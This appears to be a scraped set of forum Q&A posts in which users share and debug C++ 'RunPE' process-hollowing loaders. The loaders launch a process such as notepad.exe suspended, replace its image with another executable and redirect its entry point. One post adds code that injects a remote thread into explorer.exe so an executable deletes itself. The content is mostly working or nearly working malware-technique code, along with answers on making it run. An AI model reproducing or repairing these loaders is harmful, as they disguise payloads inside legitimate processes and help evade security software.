I took famous example of running pe executable from memory. But when I trying to run it am getting memory access violation on function WriteProcessMemory().
I am using the latest Visual Studio 2019 and I have Windows 10 x64 OS. In preferences in Visual Studio I select Debug and x86 build. The app that I am trying to run(simpleMessageBox.exe) is the same x86 Debug. Here is my full program:
#include <iostream>
#include <string>
#include <fstream>
#include <vector>
#include <Windows.h> // WinAPI header
#include <TlHelp32.h> // WinAPI Process API
std::vector<uint8_t> getFileContents(const char* filePath)
{
std::vector<uint8_t> rawData;
std::ifstream stream(filePath, std::ios::in);
rawData = std::vector<uint8_t>(std::istreambuf_iterator<char>(stream), std::istreambuf_iterator<char>());
return rawData;
}
int RunPortableExecutable(void* Image)
{
IMAGE_DOS_HEADER* DOSHeader; // For NT DOS Header symbols
IMAGE_NT_HEADERS* NtHeader; // For Nt Header objects & symbols
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase; // Base address of the image
void* pImageBase; // Point to the image base
int count;
char CurrentFilePath[1024];
DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize variable
NtHeader = (PIMAGE_NT_HEADERS)((char*)DOSHeader + DOSHeader->e_lfanew);
GetModuleFileNameA(0, CurrentFilePath, 1024); // Path to current executable
if (DOSHeader->e_magic == IMAGE_DOS_SIGNATURE) // Check if image is a PE file
{
ZeroMemory(&PI, sizeof(PI)); // Null the memory
ZeroMemory(&SI, sizeof(SI)); // Null the memory
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
//process in suspended state, for the new image.
{
// Allocate memory for the context.
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
{
// Read instructions
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
// Write the image to the process
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
// Move address of entry point to the eax register
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
ResumeThread(PI.hThread); //´Start the process/call main()
return 0; // Operation was successful.
}
}
}
}
int main()
{
auto rawPEData = getFileContents("C:\\Users\\..\\simpleMessageBox.exe");
auto runError = RunPortableExecutable(&rawPEData[0]);
return runError;
}
Appreciate any help. Thanks in advance.
Related
The target is notepad.exe
The code to insert is a PE file called Hello.
PE FILE:
Error:
error occurred --> if (IDH->e_magic== IMAGE_DOS_SIGNATURE
error content is "Exception through: read access violation. IDH was 0xC4."
The following is the whole code.
#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <tchar.h>
#include <string.h>
#include <stdlib.h>
#include <string>
#include <tchar.h>
#include <locale.h>
#define FILE_PATH ("C:/Windows/System32/notepad.exe")
#define PE_FILE_PATH ("C:/Users/code1/Desktop/Hello.exe")
typedef LONG(WINAPI* NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
void ProcHollowing(LPSTR szFilePath, PVOID ); //pFile);
PVOID pFile();
int main(){
ProcHollowing((LPSTR)(FILE_PATH), pFile());
return 0;
}
PVOID pFile() { //PE파일의 DATA 추출 부분 (.text 추출)
HANDLE hFile = CreateFile((LPCWSTR)PE_FILE_PATH, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_FLAG_OVERLAPPED, 0);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Fail: Hello.exe 파일이 없습니다.");
}
return hFile;
}
void ProcHollowing(LPSTR szFilePath /*TargetProc*/, PVOID pFile/*PE Data*/) {
PIMAGE_DOS_HEADER IDH;/*PE 구조의 첫 시작부분 DOS 헤더*/
PIMAGE_NT_HEADERS INH;/*PE헤더*/
PIMAGE_SECTION_HEADER ISH; //섹션 헤더
PROCESS_INFORMATION PI; //프로세스 정보
STARTUPINFOA SI; //생성시 프로세스에 대한 윈도우 스테이션, 데스크탑, 표준 핸들 및 주 창의 모양을 지정하는 구조체.
PCONTEXT CTX;
PDWORD dwImageBase; //생성된 프로세스의 Image Base 주소
NtUnmapViewOfSection NewNtUnmapViewOfSection;
LPVOID pImageBase;
int Count;
IDH = PIMAGE_DOS_HEADER(pFile);
if (IDH->e_magic== IMAGE_DOS_SIGNATURE/*PE 파일이 맞는지 시그니처를 통해 확인한다.*/) { //IMAGE_DOS_SIGNATURE는 4D5A 즉 MZ
_tprintf(TEXT("SUCCESS: This is PE File\n"));
INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew); // Dos header의 끝부분 + 시작 부분으로 PE Header를 구하는 것.
if (INH->Signature == IMAGE_NT_SIGNATURE/*시그니처 확인하여 PE포멧 파일인지 구분*/) {
_tprintf(TEXT("SUCCESS: PE FILE Check\n"));
RtlZeroMemory(&SI, sizeof(SI)); // SI의 크기만큼 0으로 채워준다는 의미. 즉, 초기화
RtlZeroMemory(&PI, sizeof(PI));
bool bResult = CreateProcessA(szFilePath/*실행할 모듈의 이름 notepad.exe*/, NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI); // 정상 프로세스를 생성. SUSPENDED 상태.
if (bResult) {//프로세스가 잘 생성되면
_tprintf(TEXT("SUCCESS: CreateProcessA\n"));
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); //CTX 가상 메모리 할당.
CTX->ContextFlags = CONTEXT_FULL; //Context 구조에서 초기화해야하는 부분을 나타내는 값.
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))/*프로세스 정보 획득*/) {
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL); /*Image Base 주소 구하기*/
//ebx에는 PEB 주소가 들어가 있고 PEB+8에는 Image Base 주소가 들어가있다.
//PEB(Process Environment Block)에는 해당 프로세스에 대한 정보가 들어가있음.
_tprintf(TEXT("SUCCESS: Get Image Base Address\n"));
if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase) { //Image Base와 PE Header의 OPTIONAL HEADER의 Image Base가 같으면
NewNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtUnmapViewOfSection")); //메모리 할당해지 핸들이랑 주소
_tprintf(TEXT("SUCCESS: Unmap\n"));
NewNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase)); //정상 프로세스의 메모리 할당 해지
}
else {
_tprintf(TEXT("FAIL: Unmap\n"));
}
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), //재할당
INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
/*악성코드 데이터 삽입 부분 같은데 여기부분 이해 잘 안됨.*/
if (pImageBase) { //재할당 완료 되면
_tprintf(TEXT("SUCCESS: Reassignment\n"));
WriteProcessMemory(PI.hProcess, pImageBase, pFile,/*pFile, 즉 데이터를 넣어주는 부분같음.*/
INH->OptionalHeader.SizeOfHeaders, NULL);//악성코드 삽입(?) 헤더를 바꿔주는 거같음.
for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++) {
ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
WriteProcessMemory(PI.hProcess,
LPVOID(DWORD(pImageBase) + ISH->VirtualAddress),
LPVOID(DWORD(pFile) + ISH->PointerToRawData),
ISH->SizeOfRawData, NULL);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),// 메모리 쓰기. Image Base
LPVOID(&INH->OptionalHeader.ImageBase),
4, NULL);
CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint; //AddressOfEntryPoint는 PE파일이 메모리에
//로드된 후 맨 처음 실행되어야 하는 코드의 주소가 포함되어 있음.
//Eax는 Original Entry Point(OEP)가 들어가 있음. 즉, 실행 프로그램의 실제 시작 위치
SetThreadContext(PI.hThread, LPCONTEXT(CTX)); //프로세스 정보 변경
ResumeThread(PI.hThread); //프로세스 재실행
}
else {
_tprintf(TEXT("FAIL: Reassignment\n"));
}
}
else {
_tprintf(TEXT("FAIL: Get Image Base Address\n"));
}
}
else {
_tprintf(TEXT("FAIL: CreateProcessA\n"));
}
}
else {
_tprintf(TEXT("FAIL: PE FILE Check\n"));
}
VirtualFree(pFile, 0, MEM_RELEASE);
}
else { //PE파일이 아니면
_tprintf(TEXT("FAIL: This is not PE File\n"));
}
}
There are too many things to fix for excution
I will not upload the modified code because there are some parts that were not implemented..
First,
PVOID pFile(){ // hFile is a HANDLE but ret type is PVOID... hmmm
...
//HANDLE hFile = CreateFile((LPCWSTR)PE_FILE_PATH, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_FLAG_OVERLAPPED, 0); // <-- GENREIC_WRITE? and CREATE_ALWAYS?
HANDLE hFile = CreateFile($file_name, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
...
You should read MSDN Docs CreateFile
You create a file handle, but there is no reading method (like API ReadFile)
^ This is the cause of the error.
...
if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase) {
NewNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtUnmapViewOfSection"));
NewNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
...
...
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
LPVOID(&INH->OptionalHeader.ImageBase),
4, NULL);
...
STUDY ASRL!
...
CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
...
You ResumeThread before write the Dos Header, Dos Stub, PE Header in child process Memory
you have to fix entire codeㅠㅠ :(
I am doing some independent cybersecurity research trying to read load a Windows executable into memory and run it from memory using C++. Using some videos and other Stack posts I was able to get it working with a very simple application I built using C++ that just shows a single pop-up and it works perfectly. However, I want to do the same process using a Golang binary, but whenever I build a simple Golang program and try to us it with the code below, I get an application error that says: "The application was unable to start correctly (0xc0000005). Click OK to close the application."
Most of my programming experience is in Golang and Python so this C++ code is fairly new to me for this most recent cybersecurity project, so I would appreciate any assistance!
This is my C++ code (the Go code is just a single fmt.Println built to an exe)
int RunPortableExecutable(void* Image)
{
IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects and symbols
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase; //Base address of the image
void* pImageBase; //Pointer to the image base
int count;
char CurrentFilePath[1024];
DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
GetModuleFileNameA(0, CurrentFilePath, 1024); // Path to current executable
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE file
{
ZeroMemory(&PI, sizeof(PI)); // Null the memory
ZeroMemory(&SI, sizeof(SI)); // Null the memory
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) //Create new instance of process in suspended state (for new image)
{
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); // Allocate context memory
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) // If context is in thread
{
// Read instructions
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
// WRite the image to the process
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
// Move address of entry point to the new eax register
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // set the context
ResumeThread(PI.hThread); //Start the process
return 0;
}
}
}
}
// Get the size of a file
long getFileSize(FILE* file)
{
long lCurPos, lEndPos;
lCurPos = ftell(file);
fseek(file, 0, 2);
lEndPos = ftell(file);
fseek(file, lCurPos, 0);
return lEndPos;
}
int main()
{
const char* filePath = "printtest.exe";
BYTE* fileBuf; // Pointer to our buffered data
FILE* file = NULL; // File pointer
if ((file = fopen(filePath, "rb")) == NULL)
std::cout << "Could not open specified file" << std::endl;
else
std::cout << "File opened successfully" << std::endl;
long fileSize = getFileSize(file);
fileBuf = new BYTE[fileSize];
fread(fileBuf, fileSize, 1, file);
fclose(file); // Almost forgot this
// This just logs some characters to verify it read in properly
for (int i = 0; i < 300; i++)
std::cout << fileBuf[i];
//printf("%X ", fileBuf[i]);
RunPortableExecutable(fileBuf);
std::cin.get();
delete[]fileBuf;
}
I am analyzing code that (see below):
Create a new process in a suspended state (CREATE_SUSPENDED).
Unmap the memory space using pZwUnmapViewOfSection().
Write a new PE image (stored in the program) into the memory space.
Set RAX to the entry point of the process.
Resume the created process.
I want to know why this approach works.
If the code writes the PE image into new process' the memory space, then the loader does not run to resolve imports etc. - or is CREATE_SUSPENDED before the loader performs it job?
Furthermore, does EAX (or RAX) always holds the entry point for a PE executable when it starts?
/* Create suspended process for program (using current module) */
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);
if (CreateProcessA(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {
Debug("[Debug] RunPE(): CreateProcessA(): (%lu)\n", GetLastError());
return FALSE;
}
/* Get thread context (processor-specific register data) */
context.ContextFlags = CONTEXT_FULL;
if (GetThreadContext(pi.hThread, &context) == FALSE) {
Debug("[Debug] RunPE(): GetThreadContext()");
}
/* Unmap memory space of program */
pZwUnmapViewOfSection = (PZUVOS)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
pZwUnmapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);
/* Allocate virtual memory for program */
lpAddress = VirtualAllocEx(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddress == NULL) {
Debug("[Debug] RunPE(): VirtualAllocEx(): (%lu)\n", GetLastError());
return FALSE;
}
/* Write COFF, optional and section headers into virtual memory */
if (WriteProcessMemory(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase, fs->pBuffer, pinh->OptionalHeader.SizeOfHeaders, NULL) == FALSE) {
Debug("[Debug] RunPE(): WriteProcessMemory(): (%lu)\n", GetLastError());
return FALSE;
}
/* Write sections into virtual memory */
for (int i = 0; i < pinh->FileHeader.NumberOfSections; i++) {
/* Compute section header of each section */
pish = (PIMAGE_SECTION_HEADER)((DWORD)fs->pBuffer + pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i);
/* Write section into virtual memory */
WriteProcessMemory(pi.hProcess, (PVOID)(pinh->OptionalHeader.ImageBase + pish->VirtualAddress), (LPVOID)((DWORD)fs->pBuffer + pish->PointerToRawData), pish->SizeOfRawData, NULL);
}
/* Set entry-point as virtual address: address of entry point */
context.Rax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
if (SetThreadContext(pi.hThread, &context) == FALSE) {
Debug("[Debug]: RunPE(): SetThreadContext(): (%lu)\n", GetLastError());
return FALSE;
}
I found this code on the Internet but it says that is to be run on Windows XP.
I tried to run it on Windows 7 and it worked, but I wonder if it is safe, not just running this code, but also doing it on Windows 7.
//
// Self-deleting exe under Windows XP
//
#include <windows.h>
#include <tchar.h>
// get this right!
#define EXPLORER_PID 1444
typedef UINT (WINAPI * WAIT_PROC)(HANDLE, DWORD); // WaitForSingleObject
typedef BOOL (WINAPI * CLOSE_PROC)(HANDLE); // CloseHandle
typedef BOOL (WINAPI * DELETE_PROC)(LPCTSTR); // DeleteFile
typedef VOID (WINAPI * EXIT_PROC)(DWORD); // ExitProcess
typedef struct
{
WAIT_PROC fnWaitForSingleObject;
CLOSE_PROC fnCloseHandle;
DELETE_PROC fnDeleteFile;
EXIT_PROC fnExitProcess;
HANDLE hProcess;
TCHAR szFileName[MAX_PATH];
} INJECT;
#pragma optimize("gsy", off)
#pragma check_stack(off) // doesn't work :-(
DWORD WINAPI RemoteThread(INJECT *remote)
{
remote->fnWaitForSingleObject(remote->hProcess, INFINITE);
remote->fnCloseHandle(remote->hProcess);
remote->fnDeleteFile(remote->szFileName);
remote->fnExitProcess(0);
return 0;
}
#pragma check_stack
HANDLE GetRemoteProcess()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
//return OpenProcess(PROCESS_ALL_ACCESS, FALSE, EXPLORER_PID);
if(CreateProcess(0, "explorer.exe", 0, 0, FALSE, CREATE_SUSPENDED|CREATE_NO_WINDOW|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi))
{
CloseHandle(pi.hThread);
return pi.hProcess;
}
else
{
return 0;
}
}
PVOID GetFunctionAddr(PVOID func)
{
#ifdef _DEBUG
// get address of function from the JMP <relative> instruction
DWORD *offset = (BYTE *)func + 1;
return (PVOID)(*offset + (BYTE *)func + 5);
#else
return func;
#endif
}
BOOL SelfDelete()
{
INJECT local, *remote;
BYTE *code;
HMODULE hKernel32;
HANDLE hRemoteProcess;
HANDLE hCurProc;
DWORD dwThreadId;
HANDLE hThread = 0;
char ach[80];
hRemoteProcess = GetRemoteProcess();
if(hRemoteProcess == 0)
return FALSE;
// Allocate memory in remote process
code = VirtualAllocEx(hRemoteProcess, 0, sizeof(INJECT) + 128, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(code == 0)
{
CloseHandle(hRemoteProcess);
return FALSE;
}
hKernel32 = GetModuleHandle(_T("kernel32.dll"));
// setup remote structure
remote = (INJECT *)(code + 128);
local.fnWaitForSingleObject = (WAIT_PROC)GetProcAddress(hKernel32, "WaitForSingleObject");
local.fnCloseHandle = (CLOSE_PROC)GetProcAddress(hKernel32, "CloseHandle");
local.fnExitProcess = (EXIT_PROC)GetProcAddress(hKernel32, "ExitProcess");
#ifdef UNICODE
local.fnDeleteFile = (DELETE_PROC)GetProcAddress(hKernel32, "DeleteFileW");
#else
local.fnDeleteFile = (DELETE_PROC)GetProcAddress(hKernel32, "DeleteFileA");
#endif
// duplicate our own process handle for remote process to wait on
hCurProc = GetCurrentProcess();
DuplicateHandle(hCurProc, hCurProc, hRemoteProcess, &local.hProcess, 0, FALSE, DUPLICATE_SAME_ACCESS);
// find name of current executable
GetModuleFileName(NULL, local.szFileName, MAX_PATH);
// write in code to execute, and the remote structure
WriteProcessMemory(hRemoteProcess, code, GetFunctionAddr(RemoteThread), 128, 0);
WriteProcessMemory(hRemoteProcess, remote, &local, sizeof(local), 0);
wsprintf(ach, "%x %x\n", code, remote);
OutputDebugString(ach);
// execute the code in remote process
hThread = CreateRemoteThread(hRemoteProcess, 0, 0, code, remote, 0, &dwThreadId);
if(hThread != 0)
{
CloseHandle(hThread);
}
return TRUE;
}
int main(void)
{
SelfDelete();
return 0;
}
By the way, how could this be used as a library in C/C++?
My goal is to just use, for example,
#include "selfdel.h" so I can use just the function SelfDelete() in a C++ program.
You should realize what this code is. It's an injection of a code into another process which will be executed as that process and then the process will exit. It should just work (though look at the comments below). I think the author of this code snippet had written it before Win Vista was released, therefore the concern you have.
You can declare SelfDelete() in your "selfdel.h". Calling this function and exiting right away should do the trick.
The implementation doesn't require any input from user of the library since it gets everything it needs.
// duplicate our own process handle for remote process to wait on
hCurProc = GetCurrentProcess();
...
// find name of current executable
GetModuleFileName(NULL, local.szFileName, MAX_PATH);
Some comments:
Your process should have enough rights to create the other one
Such activity may be treated as suspicious by anti-virus software
Don't forget that "zombie" process will wait as long as your process lives after calling SelfDelete()
Consider other approaches: How can a program delete its own executable
My function:
/*
--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_
runPE(
dosheader ptr,
ntheader ptr,
sectionheader ptr,
ptr to exebuffer,
DWORD SizeOfImage(Alignment fixed))
_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--_--
*/
int runPE2(IMAGE_DOS_HEADER* pDOS,IMAGE_NT_HEADERS * pNT,IMAGE_SECTION_HEADER * pSection,char* pData,DWORD szImage)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ctx;
if(CreateProcess(NULL,szFileName,NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si,&pi))
{
ctx.ContextFlags = CONTEXT_FULL;
if(!GetThreadContext(pi.hThread,&ctx))
{
MessageBoxA(0,"GetThreadContext Error!","Error",0);
}
DWORD dwImagebase = NULL;
DWORD dwBytesRead = NULL;
DWORD dwByteswritten = NULL;
DWORD dwOldProtection = NULL;
if(!ReadProcessMemory(pi.hProcess,(LPVOID)(ctx.Ebx + 8),&dwImagebase,sizeof(DWORD),&dwBytesRead))
{
MessageBoxA(0,"RPM Error!","Error",0);
}
VirtualProtect(&pNT->OptionalHeader.ImageBase,sizeof(DWORD),PAGE_READWRITE,&dwOldProtection);
pNT->OptionalHeader.ImageBase = dwImagebase;
VirtualProtect(&pNT->OptionalHeader.ImageBase,sizeof(DWORD),dwOldProtection,&dwOldProtection);
UnmapViewOfSection_ pZwUnmapViewOfSection = (UnmapViewOfSection_)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwImagebase) != 0)
{
MessageBoxA(0,"Unmaping Error!","Error",0);
}
void* newBase = VirtualAllocEx(pi.hProcess, (LPVOID)pNT->OptionalHeader.ImageBase,szImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(!newBase)
{
MessageBoxA(0,"Allocting Error!","Error",0);
}
if(!WriteProcessMemory(pi.hProcess,(LPVOID)(ctx.Ebx + 8),newBase, sizeof(DWORD), &dwByteswritten))
{
MessageBoxA(0,"WPM Imagebase Error!","Error",0);
}
if(!WriteProcessMemory(pi.hProcess,newBase,pData,pNT->OptionalHeader.SizeOfHeaders, &dwByteswritten))
{
MessageBoxA(0,"WPM SizeOfHeaders Error!","Error",0);
}
for(int i = 0; i < pNT->FileHeader.NumberOfSections; i++)
{
pSection = (PIMAGE_SECTION_HEADER)((char*)(pData + pDOS->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i));
if(!WriteProcessMemory(pi.hProcess,(char*)(pNT->OptionalHeader.ImageBase + pSection->VirtualAddress),(char*)(pData + pSection->PointerToRawData),pSection->SizeOfRawData, &dwByteswritten))
{
MessageBoxA(0,"WPM in LOOP Error!","Error",0);
}
}
ctx.Eax = (DWORD)newBase + pNT->OptionalHeader.AddressOfEntryPoint; // eax holds new entry point
if(!SetThreadContext(pi.hThread,&ctx))
{
MessageBoxA(0,"SetThreadContext Error!","Error",0);
}
if(!ResumeThread(pi.hThread))
{
MessageBoxA(0,"ResumeThread Error!","Error",0);
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
TerminateProcess(pi.hProcess,0);
return 1;
}
return -1;
}
The error i get after ResumeThread is "The application was unable to start correctly (0xc0000005)
Thanks for reading Hope someone will help
Information:
OS: Win7
compiler VC++ 2010
target application; Simple "Hello World" App; win32 console
Check the VirtualProtect function. Seems that it has been failed. An call the GetLastError(). I think that should be value 0x1e7. Check your base address and addresses in the ".text" section. I have done this by manual processing of import table. Just a simple PE parser and GetProcAddress function. After that you need to calculate your process base address and apply relocation stored in ".reloc" section.